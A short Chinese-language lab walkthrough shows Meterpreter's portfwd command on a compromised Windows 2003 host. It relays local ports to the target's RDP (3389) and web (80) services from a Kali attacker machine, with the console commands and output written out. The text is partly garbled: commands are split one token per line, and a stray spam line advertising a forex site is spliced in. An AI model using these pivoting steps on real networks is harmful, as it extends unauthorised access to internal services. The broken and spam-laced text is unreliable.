Portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4--IPV6的转换转发。
并且内置于meterpreter。
其中exe单版本源码如下:
https://github.com/rssnsj/portfwd
复现过程
攻击机:
192.168.1.5
Debian(Kali)
靶 机:
192.168.1.4
Windows7
192.168.1.119 Windows 2003
Sessions -l查看所有msf的连接,看到一条连接到windows 03通信,是从192.168.1.1:455303到192.168.1.119:53

session -l 查看会话

靶机IP为:192.168.1.119---windows 2003---x64
function(){ //外汇跟单www.gendan5.com
需要转发端口为:80,3389
选择连接中的1号,就一条所以就只能选这个了



Portfwd -h查看用法


攻击执行
1
meterpreter
>
portfwd
add
‐
l
33389
‐
r
192.168.1.119
‐
p
3389
2
[
*
]
Local
TCP
relay created: :
33389
<‐>
192.168.1.119
:
3389
3
meterpreter
>
portfwd
add
‐
l
30080
‐
r
192.168.1.119
‐
p
80
4
[
*
]
Local
TCP
relay created: :
30080
<‐>
192.168.1.119
:
80
5
meterpreter
>
portfwd
6
Index Local
RemoteDirection
7
1 0.0.0.0
:
33389 192.168.1.119
:
3389
Forward
8
2 0.0.0.0
:
30080 192.168.1.119
:
80
Forward
9
2
total active port forwards
.
成功
